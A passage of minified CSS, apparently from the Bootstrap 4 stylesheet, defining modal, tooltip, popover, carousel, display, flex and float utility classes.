rgba(0,0,0,.2);border-radius:.3rem;outline:0}.modal-backdrop{position:fixed;top:0;right:0;bottom:0;left:0;z-index:1040;background-color:#000}.modal-backdrop.fade{opacity:0}.modal-backdrop.show{opacity:.5}.modal-header{display:-ms-flexbox;display:flex;-ms-flex-align:start;align-items:flex-start;-ms-flex-pack:justify;justify-content:space-between;padding:1rem;border-bottom:1px solid #e9ecef;border-top-left-radius:.3rem;border-top-right-radius:.3rem}.modal-header .close{padding:1rem;margin:-1rem -1rem -1rem auto}.modal-title{margin-bottom:0;line-height:1.5}.modal-body{position:relative;-ms-flex:1 1 auto;flex:1 1 auto;padding:1rem}.modal-footer{display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center;-ms-flex-pack:end;justify-content:flex-end;padding:1rem;border-top:1px solid #e9ecef}.modal-footer>:not(:first-child){margin-left:.25rem}.modal-footer>:not(:last-child){margin-right:.25rem}.modal-scrollbar-measure{position:absolute;top:-9999px;width:50px;height:50px;overflow:scroll}@media (min-width:576px){.modal-dialog{max-width:500px;margin:1.75rem auto}.modal-dialog-centered{min-height:calc(100% - (1.75rem * 2))}.modal-sm{max-width:300px}}@media (min-width:992px){.modal-lg{max-width:800px}}.tooltip{position:absolute;z-index:1070;display:block;margin:0;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol";font-style:normal;font-weight:400;line-height:1.5;text-align:left;text-align:start;text-decoration:none;text-shadow:none;text-transform:none;letter-spacing:normal;word-break:normal;word-spacing:normal;white-space:normal;line-break:auto;font-size:.875rem;word-wrap:break-word;opacity:0}.tooltip.show{opacity:.9}.tooltip .arrow{position:absolute;display:block;width:.8rem;height:.4rem}.tooltip .arrow::before{position:absolute;content:"";border-color:transparent;border-style:solid}.bs-tooltip-auto[x-placement^=top],.bs-tooltip-top{padding:.4rem 0}.bs-tooltip-auto[x-placement^=top] .arrow,.bs-tooltip-top .arrow{bottom:0}.bs-tooltip-auto[x-placement^=top] .arrow::before,.bs-tooltip-top .arrow::before{top:0;border-width:.4rem .4rem 0;border-top-color:#000}.bs-tooltip-auto[x-placement^=right],.bs-tooltip-right{padding:0 .4rem}.bs-tooltip-auto[x-placement^=right] .arrow,.bs-tooltip-right .arrow{left:0;width:.4rem;height:.8rem}.bs-tooltip-auto[x-placement^=right] .arrow::before,.bs-tooltip-right .arrow::before{right:0;border-width:.4rem .4rem .4rem 0;border-right-color:#000}.bs-tooltip-auto[x-placement^=bottom],.bs-tooltip-bottom{padding:.4rem 0}.bs-tooltip-auto[x-placement^=bottom] .arrow,.bs-tooltip-bottom .arrow{top:0}.bs-tooltip-auto[x-placement^=bottom] .arrow::before,.bs-tooltip-bottom .arrow::before{bottom:0;border-width:0 .4rem .4rem;border-bottom-color:#000}.bs-tooltip-auto[x-placement^=left],.bs-tooltip-left{padding:0 .4rem}.bs-tooltip-auto[x-placement^=left] .arrow,.bs-tooltip-left .arrow{right:0;width:.4rem;height:.8rem}.bs-tooltip-auto[x-placement^=left] .arrow::before,.bs-tooltip-left .arrow::before{left:0;border-width:.4rem 0 .4rem .4rem;border-left-color:#000}.tooltip-inner{max-width:200px;padding:.25rem .5rem;color:#fff;text-align:center;background-color:#000;border-radius:.25rem}.popover{position:absolute;top:0;left:0;z-index:1060;display:block;max-width:276px;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol";font-style:normal;font-weight:400;line-height:1.5;text-align:left;text-align:start;text-decoration:none;text-shadow:none;text-transform:none;letter-spacing:normal;word-break:normal;word-spacing:normal;white-space:normal;line-break:auto;font-size:.875rem;word-wrap:break-word;background-color:#fff;background-clip:padding-box;border:1px solid rgba(0,0,0,.2);border-radius:.3rem}.popover .arrow{position:absolute;display:block;width:1rem;height:.5rem;margin:0 .3rem}.popover .arrow::after,.popover .arrow::before{position:absolute;display:block;content:"";border-color:transparent;border-style:solid}.bs-popover-auto[x-placement^=top],.bs-popover-top{margin-bottom:.5rem}.bs-popover-auto[x-placement^=top] .arrow,.bs-popover-top .arrow{bottom:calc((.5rem + 1px) * -1)}.bs-popover-auto[x-placement^=top] .arrow::after,.bs-popover-auto[x-placement^=top] .arrow::before,.bs-popover-top .arrow::after,.bs-popover-top .arrow::before{border-width:.5rem .5rem 0}.bs-popover-auto[x-placement^=top] .arrow::before,.bs-popover-top .arrow::before{bottom:0;border-top-color:rgba(0,0,0,.25)}.bs-popover-auto[x-placement^=top] .arrow::after,.bs-popover-top .arrow::after{bottom:1px;border-top-color:#fff}.bs-popover-auto[x-placement^=right],.bs-popover-right{margin-left:.5rem}.bs-popover-auto[x-placement^=right] .arrow,.bs-popover-right .arrow{left:calc((.5rem + 1px) * -1);width:.5rem;height:1rem;margin:.3rem 0}.bs-popover-auto[x-placement^=right] .arrow::after,.bs-popover-auto[x-placement^=right] .arrow::before,.bs-popover-right .arrow::after,.bs-popover-right .arrow::before{border-width:.5rem .5rem .5rem 0}.bs-popover-auto[x-placement^=right] .arrow::before,.bs-popover-right .arrow::before{left:0;border-right-color:rgba(0,0,0,.25)}.bs-popover-auto[x-placement^=right] .arrow::after,.bs-popover-right .arrow::after{left:1px;border-right-color:#fff}.bs-popover-auto[x-placement^=bottom],.bs-popover-bottom{margin-top:.5rem}.bs-popover-auto[x-placement^=bottom] .arrow,.bs-popover-bottom .arrow{top:calc((.5rem + 1px) * -1)}.bs-popover-auto[x-placement^=bottom] .arrow::after,.bs-popover-auto[x-placement^=bottom] .arrow::before,.bs-popover-bottom .arrow::after,.bs-popover-bottom .arrow::before{border-width:0 .5rem .5rem .5rem}.bs-popover-auto[x-placement^=bottom] .arrow::before,.bs-popover-bottom .arrow::before{top:0;border-bottom-color:rgba(0,0,0,.25)}.bs-popover-auto[x-placement^=bottom] .arrow::after,.bs-popover-bottom .arrow::after{top:1px;border-bottom-color:#fff}.bs-popover-auto[x-placement^=bottom] .popover-header::before,.bs-popover-bottom .popover-header::before{position:absolute;top:0;left:50%;display:block;width:1rem;margin-left:-.5rem;content:"";border-bottom:1px solid #f7f7f7}.bs-popover-auto[x-placement^=left],.bs-popover-left{margin-right:.5rem}.bs-popover-auto[x-placement^=left] .arrow,.bs-popover-left .arrow{right:calc((.5rem + 1px) * -1);width:.5rem;height:1rem;margin:.3rem 0}.bs-popover-auto[x-placement^=left] .arrow::after,.bs-popover-auto[x-placement^=left] .arrow::before,.bs-popover-left .arrow::after,.bs-popover-left .arrow::before{border-width:.5rem 0 .5rem .5rem}.bs-popover-auto[x-placement^=left] .arrow::before,.bs-popover-left .arrow::before{right:0;border-left-color:rgba(0,0,0,.25)}.bs-popover-auto[x-placement^=left] .arrow::after,.bs-popover-left .arrow::after{right:1px;border-left-color:#fff}.popover-header{padding:.5rem .75rem;margin-bottom:0;font-size:1rem;color:inherit;background-color:#f7f7f7;border-bottom:1px solid #ebebeb;border-top-left-radius:calc(.3rem - 1px);border-top-right-radius:calc(.3rem - 1px)}.popover-header:empty{display:none}.popover-body{padding:.5rem .75rem;color:#212529}.carousel{position:relative}.carousel-inner{position:relative;width:100%;overflow:hidden}.carousel-item{position:relative;display:none;-ms-flex-align:center;align-items:center;width:100%;transition:-webkit-transform .6s ease;transition:transform .6s ease;transition:transform .6s ease,-webkit-transform .6s ease;-webkit-backface-visibility:hidden;backface-visibility:hidden;-webkit-perspective:1000px;perspective:1000px}@media screen and (prefers-reduced-motion:reduce){.carousel-item{transition:none}}.carousel-item-next,.carousel-item-prev,.carousel-item.active{display:block}.carousel-item-next,.carousel-item-prev{position:absolute;top:0}.carousel-item-next.carousel-item-left,.carousel-item-prev.carousel-item-right{-webkit-transform:translateX(0);transform:translateX(0)}@supports ((-webkit-transform-style:preserve-3d) or (transform-style:preserve-3d)){.carousel-item-next.carousel-item-left,.carousel-item-prev.carousel-item-right{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.active.carousel-item-right,.carousel-item-next{-webkit-transform:translateX(100%);transform:translateX(100%)}@supports ((-webkit-transform-style:preserve-3d) or (transform-style:preserve-3d)){.active.carousel-item-right,.carousel-item-next{-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}}.active.carousel-item-left,.carousel-item-prev{-webkit-transform:translateX(-100%);transform:translateX(-100%)}@supports ((-webkit-transform-style:preserve-3d) or (transform-style:preserve-3d)){.active.carousel-item-left,.carousel-item-prev{-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}}.carousel-fade .carousel-item{opacity:0;transition-duration:.6s;transition-property:opacity}.carousel-fade .carousel-item-next.carousel-item-left,.carousel-fade .carousel-item-prev.carousel-item-right,.carousel-fade .carousel-item.active{opacity:1}.carousel-fade .active.carousel-item-left,.carousel-fade .active.carousel-item-right{opacity:0}.carousel-fade .active.carousel-item-left,.carousel-fade .active.carousel-item-prev,.carousel-fade .carousel-item-next,.carousel-fade .carousel-item-prev,.carousel-fade .carousel-item.active{-webkit-transform:translateX(0);transform:translateX(0)}@supports ((-webkit-transform-style:preserve-3d) or (transform-style:preserve-3d)){.carousel-fade .active.carousel-item-left,.carousel-fade .active.carousel-item-prev,.carousel-fade .carousel-item-next,.carousel-fade .carousel-item-prev,.carousel-fade .carousel-item.active{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.carousel-control-next,.carousel-control-prev{position:absolute;top:0;bottom:0;display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center;-ms-flex-pack:center;justify-content:center;width:15%;color:#fff;text-align:center;opacity:.5}.carousel-control-next:focus,.carousel-control-next:hover,.carousel-control-prev:focus,.carousel-control-prev:hover{color:#fff;text-decoration:none;outline:0;opacity:.9}.carousel-control-prev{left:0}.carousel-control-next{right:0}.carousel-control-next-icon,.carousel-control-prev-icon{display:inline-block;width:20px;height:20px;background:transparent no-repeat center center;background-size:100% 100%}.carousel-control-prev-icon{background-image:url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='%23fff' viewBox='0 0 8 8'%3E%3Cpath d='M5.25 0l-4 4 4 4 1.5-1.5-2.5-2.5 2.5-2.5-1.5-1.5z'/%3E%3C/svg%3E")}.carousel-control-next-icon{background-image:url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='%23fff' viewBox='0 0 8 8'%3E%3Cpath d='M2.75 0l-1.5 1.5 2.5 2.5-2.5 2.5 1.5 1.5 4-4-4-4z'/%3E%3C/svg%3E")}.carousel-indicators{position:absolute;right:0;bottom:10px;left:0;z-index:15;display:-ms-flexbox;display:flex;-ms-flex-pack:center;justify-content:center;padding-left:0;margin-right:15%;margin-left:15%;list-style:none}.carousel-indicators li{position:relative;-ms-flex:0 1 auto;flex:0 1 auto;width:30px;height:3px;margin-right:3px;margin-left:3px;text-indent:-999px;background-color:rgba(255,255,255,.5)}.carousel-indicators li::before{position:absolute;top:-10px;left:0;display:inline-block;width:100%;height:10px;content:""}.carousel-indicators li::after{position:absolute;bottom:-10px;left:0;display:inline-block;width:100%;height:10px;content:""}.carousel-indicators .active{background-color:#fff}.carousel-caption{position:absolute;right:15%;bottom:20px;left:15%;z-index:10;padding-top:20px;padding-bottom:20px;color:#fff;text-align:center}.align-baseline{vertical-align:baseline!important}.align-top{vertical-align:top!important}.align-middle{vertical-align:middle!important}.align-bottom{vertical-align:bottom!important}.align-text-bottom{vertical-align:text-bottom!important}.align-text-top{vertical-align:text-top!important}.bg-primary{background-color:#007bff!important}a.bg-primary:focus,a.bg-primary:hover,button.bg-primary:focus,button.bg-primary:hover{background-color:#0062cc!important}.bg-secondary{background-color:#6c757d!important}a.bg-secondary:focus,a.bg-secondary:hover,button.bg-secondary:focus,button.bg-secondary:hover{background-color:#545b62!important}.bg-success{background-color:#28a745!important}a.bg-success:focus,a.bg-success:hover,button.bg-success:focus,button.bg-success:hover{background-color:#1e7e34!important}.bg-info{background-color:#17a2b8!important}a.bg-info:focus,a.bg-info:hover,button.bg-info:focus,button.bg-info:hover{background-color:#117a8b!important}.bg-warning{background-color:#ffc107!important}a.bg-warning:focus,a.bg-warning:hover,button.bg-warning:focus,button.bg-warning:hover{background-color:#d39e00!important}.bg-danger{background-color:#dc3545!important}a.bg-danger:focus,a.bg-danger:hover,button.bg-danger:focus,button.bg-danger:hover{background-color:#bd2130!important}.bg-light{background-color:#f8f9fa!important}a.bg-light:focus,a.bg-light:hover,button.bg-light:focus,button.bg-light:hover{background-color:#dae0e5!important}.bg-dark{background-color:#343a40!important}a.bg-dark:focus,a.bg-dark:hover,button.bg-dark:focus,button.bg-dark:hover{background-color:#1d2124!important}.bg-white{background-color:#fff!important}.bg-transparent{background-color:transparent!important}.border{border:1px solid #dee2e6!important}.border-top{border-top:1px solid #dee2e6!important}.border-right{border-right:1px solid #dee2e6!important}.border-bottom{border-bottom:1px solid #dee2e6!important}.border-left{border-left:1px solid #dee2e6!important}.border-0{border:0!important}.border-top-0{border-top:0!important}.border-right-0{border-right:0!important}.border-bottom-0{border-bottom:0!important}.border-left-0{border-left:0!important}.border-primary{border-color:#007bff!important}.border-secondary{border-color:#6c757d!important}.border-success{border-color:#28a745!important}.border-info{border-color:#17a2b8!important}.border-warning{border-color:#ffc107!important}.border-danger{border-color:#dc3545!important}.border-light{border-color:#f8f9fa!important}.border-dark{border-color:#343a40!important}.border-white{border-color:#fff!important}.rounded{border-radius:.25rem!important}.rounded-top{border-top-left-radius:.25rem!important;border-top-right-radius:.25rem!important}.rounded-right{border-top-right-radius:.25rem!important;border-bottom-right-radius:.25rem!important}.rounded-bottom{border-bottom-right-radius:.25rem!important;border-bottom-left-radius:.25rem!important}.rounded-left{border-top-left-radius:.25rem!important;border-bottom-left-radius:.25rem!important}.rounded-circle{border-radius:50%!important}.rounded-0{border-radius:0!important}.clearfix::after{display:block;clear:both;content:""}.d-none{display:none!important}.d-inline{display:inline!important}.d-inline-block{display:inline-block!important}.d-block{display:block!important}.d-table{display:table!important}.d-table-row{display:table-row!important}.d-table-cell{display:table-cell!important}.d-flex{display:-ms-flexbox!important;display:flex!important}.d-inline-flex{display:-ms-inline-flexbox!important;display:inline-flex!important}@media (min-width:576px){.d-sm-none{display:none!important}.d-sm-inline{display:inline!important}.d-sm-inline-block{display:inline-block!important}.d-sm-block{display:block!important}.d-sm-table{display:table!important}.d-sm-table-row{display:table-row!important}.d-sm-table-cell{display:table-cell!important}.d-sm-flex{display:-ms-flexbox!important;display:flex!important}.d-sm-inline-flex{display:-ms-inline-flexbox!important;display:inline-flex!important}}@media (min-width:768px){.d-md-none{display:none!important}.d-md-inline{display:inline!important}.d-md-inline-block{display:inline-block!important}.d-md-block{display:block!important}.d-md-table{display:table!important}.d-md-table-row{display:table-row!important}.d-md-table-cell{display:table-cell!important}.d-md-flex{display:-ms-flexbox!important;display:flex!important}.d-md-inline-flex{display:-ms-inline-flexbox!important;display:inline-flex!important}}@media (min-width:992px){.d-lg-none{display:none!important}.d-lg-inline{display:inline!important}.d-lg-inline-block{display:inline-block!important}.d-lg-block{display:block!important}.d-lg-table{display:table!important}.d-lg-table-row{display:table-row!important}.d-lg-table-cell{display:table-cell!important}.d-lg-flex{display:-ms-flexbox!important;display:flex!important}.d-lg-inline-flex{display:-ms-inline-flexbox!important;display:inline-flex!important}}@media (min-width:1200px){.d-xl-none{display:none!important}.d-xl-inline{display:inline!important}.d-xl-inline-block{display:inline-block!important}.d-xl-block{display:block!important}.d-xl-table{display:table!important}.d-xl-table-row{display:table-row!important}.d-xl-table-cell{display:table-cell!important}.d-xl-flex{display:-ms-flexbox!important;display:flex!important}.d-xl-inline-flex{display:-ms-inline-flexbox!important;display:inline-flex!important}}@media print{.d-print-none{display:none!important}.d-print-inline{display:inline!important}.d-print-inline-block{display:inline-block!important}.d-print-block{display:block!important}.d-print-table{display:table!important}.d-print-table-row{display:table-row!important}.d-print-table-cell{display:table-cell!important}.d-print-flex{display:-ms-flexbox!important;display:flex!important}.d-print-inline-flex{display:-ms-inline-flexbox!important;display:inline-flex!important}}.embed-responsive{position:relative;display:block;width:100%;padding:0;overflow:hidden}.embed-responsive::before{display:block;content:""}.embed-responsive .embed-responsive-item,.embed-responsive embed,.embed-responsive iframe,.embed-responsive object,.embed-responsive video{position:absolute;top:0;bottom:0;left:0;width:100%;height:100%;border:0}.embed-responsive-21by9::before{padding-top:42.857143%}.embed-responsive-16by9::before{padding-top:56.25%}.embed-responsive-4by3::before{padding-top:75%}.embed-responsive-1by1::before{padding-top:100%}.flex-row{-ms-flex-direction:row!important;flex-direction:row!important}.flex-column{-ms-flex-direction:column!important;flex-direction:column!important}.flex-row-reverse{-ms-flex-direction:row-reverse!important;flex-direction:row-reverse!important}.flex-column-reverse{-ms-flex-direction:column-reverse!important;flex-direction:column-reverse!important}.flex-wrap{-ms-flex-wrap:wrap!important;flex-wrap:wrap!important}.flex-nowrap{-ms-flex-wrap:nowrap!important;flex-wrap:nowrap!important}.flex-wrap-reverse{-ms-flex-wrap:wrap-reverse!important;flex-wrap:wrap-reverse!important}.flex-fill{-ms-flex:1 1 auto!important;flex:1 1 auto!important}.flex-grow-0{-ms-flex-positive:0!important;flex-grow:0!important}.flex-grow-1{-ms-flex-positive:1!important;flex-grow:1!important}.flex-shrink-0{-ms-flex-negative:0!important;flex-shrink:0!important}.flex-shrink-1{-ms-flex-negative:1!important;flex-shrink:1!important}.justify-content-start{-ms-flex-pack:start!important;justify-content:flex-start!important}.justify-content-end{-ms-flex-pack:end!important;justify-content:flex-end!important}.justify-content-center{-ms-flex-pack:center!important;justify-content:center!important}.justify-content-between{-ms-flex-pack:justify!important;justify-content:space-between!important}.justify-content-around{-ms-flex-pack:distribute!important;justify-content:space-around!important}.align-items-start{-ms-flex-align:start!important;align-items:flex-start!important}.align-items-end{-ms-flex-align:end!important;align-items:flex-end!important}.align-items-center{-ms-flex-align:center!important;align-items:center!important}.align-items-baseline{-ms-flex-align:baseline!important;align-items:baseline!important}.align-items-stretch{-ms-flex-align:stretch!important;align-items:stretch!important}.align-content-start{-ms-flex-line-pack:start!important;align-content:flex-start!important}.align-content-end{-ms-flex-line-pack:end!important;align-content:flex-end!important}.align-content-center{-ms-flex-line-pack:center!important;align-content:center!important}.align-content-between{-ms-flex-line-pack:justify!important;align-content:space-between!important}.align-content-around{-ms-flex-line-pack:distribute!important;align-content:space-around!important}.align-content-stretch{-ms-flex-line-pack:stretch!important;align-content:stretch!important}.align-self-auto{-ms-flex-item-align:auto!important;align-self:auto!important}.align-self-start{-ms-flex-item-align:start!important;align-self:flex-start!important}.align-self-end{-ms-flex-item-align:end!important;align-self:flex-end!important}.align-self-center{-ms-flex-item-align:center!important;align-self:center!important}.align-self-baseline{-ms-flex-item-align:baseline!important;align-self:baseline!important}.align-self-stretch{-ms-flex-item-align:stretch!important;align-self:stretch!important}@media (min-width:576px){.flex-sm-row{-ms-flex-direction:row!important;flex-direction:row!important}.flex-sm-column{-ms-flex-direction:column!important;flex-direction:column!important}.flex-sm-row-reverse{-ms-flex-direction:row-reverse!important;flex-direction:row-reverse!important}.flex-sm-column-reverse{-ms-flex-direction:column-reverse!important;flex-direction:column-reverse!important}.flex-sm-wrap{-ms-flex-wrap:wrap!important;flex-wrap:wrap!important}.flex-sm-nowrap{-ms-flex-wrap:nowrap!important;flex-wrap:nowrap!important}.flex-sm-wrap-reverse{-ms-flex-wrap:wrap-reverse!important;flex-wrap:wrap-reverse!important}.flex-sm-fill{-ms-flex:1 1 auto!important;flex:1 1 auto!important}.flex-sm-grow-0{-ms-flex-positive:0!important;flex-grow:0!important}.flex-sm-grow-1{-ms-flex-positive:1!important;flex-grow:1!important}.flex-sm-shrink-0{-ms-flex-negative:0!important;flex-shrink:0!important}.flex-sm-shrink-1{-ms-flex-negative:1!important;flex-shrink:1!important}.justify-content-sm-start{-ms-flex-pack:start!important;justify-content:flex-start!important}.justify-content-sm-end{-ms-flex-pack:end!important;justify-content:flex-end!important}.justify-content-sm-center{-ms-flex-pack:center!important;justify-content:center!important}.justify-content-sm-between{-ms-flex-pack:justify!important;justify-content:space-between!important}.justify-content-sm-around{-ms-flex-pack:distribute!important;justify-content:space-around!important}.align-items-sm-start{-ms-flex-align:start!important;align-items:flex-start!important}.align-items-sm-end{-ms-flex-align:end!important;align-items:flex-end!important}.align-items-sm-center{-ms-flex-align:center!important;align-items:center!important}.align-items-sm-baseline{-ms-flex-align:baseline!important;align-items:baseline!important}.align-items-sm-stretch{-ms-flex-align:stretch!important;align-items:stretch!important}.align-content-sm-start{-ms-flex-line-pack:start!important;align-content:flex-start!important}.align-content-sm-end{-ms-flex-line-pack:end!important;align-content:flex-end!important}.align-content-sm-center{-ms-flex-line-pack:center!important;align-content:center!important}.align-content-sm-between{-ms-flex-line-pack:justify!important;align-content:space-between!important}.align-content-sm-around{-ms-flex-line-pack:distribute!important;align-content:space-around!important}.align-content-sm-stretch{-ms-flex-line-pack:stretch!important;align-content:stretch!important}.align-self-sm-auto{-ms-flex-item-align:auto!important;align-self:auto!important}.align-self-sm-start{-ms-flex-item-align:start!important;align-self:flex-start!important}.align-self-sm-end{-ms-flex-item-align:end!important;align-self:flex-end!important}.align-self-sm-center{-ms-flex-item-align:center!important;align-self:center!important}.align-self-sm-baseline{-ms-flex-item-align:baseline!important;align-self:baseline!important}.align-self-sm-stretch{-ms-flex-item-align:stretch!important;align-self:stretch!important}}@media (min-width:768px){.flex-md-row{-ms-flex-direction:row!important;flex-direction:row!important}.flex-md-column{-ms-flex-direction:column!important;flex-direction:column!important}.flex-md-row-reverse{-ms-flex-direction:row-reverse!important;flex-direction:row-reverse!important}.flex-md-column-reverse{-ms-flex-direction:column-reverse!important;flex-direction:column-reverse!important}.flex-md-wrap{-ms-flex-wrap:wrap!important;flex-wrap:wrap!important}.flex-md-nowrap{-ms-flex-wrap:nowrap!important;flex-wrap:nowrap!important}.flex-md-wrap-reverse{-ms-flex-wrap:wrap-reverse!important;flex-wrap:wrap-reverse!important}.flex-md-fill{-ms-flex:1 1 auto!important;flex:1 1 auto!important}.flex-md-grow-0{-ms-flex-positive:0!important;flex-grow:0!important}.flex-md-grow-1{-ms-flex-positive:1!important;flex-grow:1!important}.flex-md-shrink-0{-ms-flex-negative:0!important;flex-shrink:0!important}.flex-md-shrink-1{-ms-flex-negative:1!important;flex-shrink:1!important}.justify-content-md-start{-ms-flex-pack:start!important;justify-content:flex-start!important}.justify-content-md-end{-ms-flex-pack:end!important;justify-content:flex-end!important}.justify-content-md-center{-ms-flex-pack:center!important;justify-content:center!important}.justify-content-md-between{-ms-flex-pack:justify!important;justify-content:space-between!important}.justify-content-md-around{-ms-flex-pack:distribute!important;justify-content:space-around!important}.align-items-md-start{-ms-flex-align:start!important;align-items:flex-start!important}.align-items-md-end{-ms-flex-align:end!important;align-items:flex-end!important}.align-items-md-center{-ms-flex-align:center!important;align-items:center!important}.align-items-md-baseline{-ms-flex-align:baseline!important;align-items:baseline!important}.align-items-md-stretch{-ms-flex-align:stretch!important;align-items:stretch!important}.align-content-md-start{-ms-flex-line-pack:start!important;align-content:flex-start!important}.align-content-md-end{-ms-flex-line-pack:end!important;align-content:flex-end!important}.align-content-md-center{-ms-flex-line-pack:center!important;align-content:center!important}.align-content-md-between{-ms-flex-line-pack:justify!important;align-content:space-between!important}.align-content-md-around{-ms-flex-line-pack:distribute!important;align-content:space-around!important}.align-content-md-stretch{-ms-flex-line-pack:stretch!important;align-content:stretch!important}.align-self-md-auto{-ms-flex-item-align:auto!important;align-self:auto!important}.align-self-md-start{-ms-flex-item-align:start!important;align-self:flex-start!important}.align-self-md-end{-ms-flex-item-align:end!important;align-self:flex-end!important}.align-self-md-center{-ms-flex-item-align:center!important;align-self:center!important}.align-self-md-baseline{-ms-flex-item-align:baseline!important;align-self:baseline!important}.align-self-md-stretch{-ms-flex-item-align:stretch!important;align-self:stretch!important}}@media (min-width:992px){.flex-lg-row{-ms-flex-direction:row!important;flex-direction:row!important}.flex-lg-column{-ms-flex-direction:column!important;flex-direction:column!important}.flex-lg-row-reverse{-ms-flex-direction:row-reverse!important;flex-direction:row-reverse!important}.flex-lg-column-reverse{-ms-flex-direction:column-reverse!important;flex-direction:column-reverse!important}.flex-lg-wrap{-ms-flex-wrap:wrap!important;flex-wrap:wrap!important}.flex-lg-nowrap{-ms-flex-wrap:nowrap!important;flex-wrap:nowrap!important}.flex-lg-wrap-reverse{-ms-flex-wrap:wrap-reverse!important;flex-wrap:wrap-reverse!important}.flex-lg-fill{-ms-flex:1 1 auto!important;flex:1 1 auto!important}.flex-lg-grow-0{-ms-flex-positive:0!important;flex-grow:0!important}.flex-lg-grow-1{-ms-flex-positive:1!important;flex-grow:1!important}.flex-lg-shrink-0{-ms-flex-negative:0!important;flex-shrink:0!important}.flex-lg-shrink-1{-ms-flex-negative:1!important;flex-shrink:1!important}.justify-content-lg-start{-ms-flex-pack:start!important;justify-content:flex-start!important}.justify-content-lg-end{-ms-flex-pack:end!important;justify-content:flex-end!important}.justify-content-lg-center{-ms-flex-pack:center!important;justify-content:center!important}.justify-content-lg-between{-ms-flex-pack:justify!important;justify-content:space-between!important}.justify-content-lg-around{-ms-flex-pack:distribute!important;justify-content:space-around!important}.align-items-lg-start{-ms-flex-align:start!important;align-items:flex-start!important}.align-items-lg-end{-ms-flex-align:end!important;align-items:flex-end!important}.align-items-lg-center{-ms-flex-align:center!important;align-items:center!important}.align-items-lg-baseline{-ms-flex-align:baseline!important;align-items:baseline!important}.align-items-lg-stretch{-ms-flex-align:stretch!important;align-items:stretch!important}.align-content-lg-start{-ms-flex-line-pack:start!important;align-content:flex-start!important}.align-content-lg-end{-ms-flex-line-pack:end!important;align-content:flex-end!important}.align-content-lg-center{-ms-flex-line-pack:center!important;align-content:center!important}.align-content-lg-between{-ms-flex-line-pack:justify!important;align-content:space-between!important}.align-content-lg-around{-ms-flex-line-pack:distribute!important;align-content:space-around!important}.align-content-lg-stretch{-ms-flex-line-pack:stretch!important;align-content:stretch!important}.align-self-lg-auto{-ms-flex-item-align:auto!important;align-self:auto!important}.align-self-lg-start{-ms-flex-item-align:start!important;align-self:flex-start!important}.align-self-lg-end{-ms-flex-item-align:end!important;align-self:flex-end!important}.align-self-lg-center{-ms-flex-item-align:center!important;align-self:center!important}.align-self-lg-baseline{-ms-flex-item-align:baseline!important;align-self:baseline!important}.align-self-lg-stretch{-ms-flex-item-align:stretch!important;align-self:stretch!important}}@media (min-width:1200px){.flex-xl-row{-ms-flex-direction:row!important;flex-direction:row!important}.flex-xl-column{-ms-flex-direction:column!important;flex-direction:column!important}.flex-xl-row-reverse{-ms-flex-direction:row-reverse!important;flex-direction:row-reverse!important}.flex-xl-column-reverse{-ms-flex-direction:column-reverse!important;flex-direction:column-reverse!important}.flex-xl-wrap{-ms-flex-wrap:wrap!important;flex-wrap:wrap!important}.flex-xl-nowrap{-ms-flex-wrap:nowrap!important;flex-wrap:nowrap!important}.flex-xl-wrap-reverse{-ms-flex-wrap:wrap-reverse!important;flex-wrap:wrap-reverse!important}.flex-xl-fill{-ms-flex:1 1 auto!important;flex:1 1 auto!important}.flex-xl-grow-0{-ms-flex-positive:0!important;flex-grow:0!important}.flex-xl-grow-1{-ms-flex-positive:1!important;flex-grow:1!important}.flex-xl-shrink-0{-ms-flex-negative:0!important;flex-shrink:0!important}.flex-xl-shrink-1{-ms-flex-negative:1!important;flex-shrink:1!important}.justify-content-xl-start{-ms-flex-pack:start!important;justify-content:flex-start!important}.justify-content-xl-end{-ms-flex-pack:end!important;justify-content:flex-end!important}.justify-content-xl-center{-ms-flex-pack:center!important;justify-content:center!important}.justify-content-xl-between{-ms-flex-pack:justify!important;justify-content:space-between!important}.justify-content-xl-around{-ms-flex-pack:distribute!important;justify-content:space-around!important}.align-items-xl-start{-ms-flex-align:start!important;align-items:flex-start!important}.align-items-xl-end{-ms-flex-align:end!important;align-items:flex-end!important}.align-items-xl-center{-ms-flex-align:center!important;align-items:center!important}.align-items-xl-baseline{-ms-flex-align:baseline!important;align-items:baseline!important}.align-items-xl-stretch{-ms-flex-align:stretch!important;align-items:stretch!important}.align-content-xl-start{-ms-flex-line-pack:start!important;align-content:flex-start!important}.align-content-xl-end{-ms-flex-line-pack:end!important;align-content:flex-end!important}.align-content-xl-center{-ms-flex-line-pack:center!important;align-content:center!important}.align-content-xl-between{-ms-flex-line-pack:justify!important;align-content:space-between!important}.align-content-xl-around{-ms-flex-line-pack:distribute!important;align-content:space-around!important}.align-content-xl-stretch{-ms-flex-line-pack:stretch!important;align-content:stretch!important}.align-self-xl-auto{-ms-flex-item-align:auto!important;align-self:auto!important}.align-self-xl-start{-ms-flex-item-align:start!important;align-self:flex-start!important}.align-self-xl-end{-ms-flex-item-align:end!important;align-self:flex-end!important}.align-self-xl-center{-ms-flex-item-align:center!important;align-self:center!important}.align-self-xl-baseline{-ms-flex-item-align:baseline!important;align-self:baseline!important}.align-self-xl-stretch{-ms-flex-item-align:stretch!important;align-self:stretch!important}}.float-left{float:left!important}.float-right{float:right!important}.float-none{float:none!important}@media (min-width:576px){.float-sm-left{float:left!important}.float-sm-right{float:right!important}.float-sm-none{float:none!important}}@media (min-width:768px){.float-md-left{float:left!important}.float-md-right{float:right!important}.float-md-none{float:none!important}}@media (min-width:992px){.float-lg-left{float:left!important}.float-lg-right{float:right!important}.float-lg-none{float:none!important}}@media 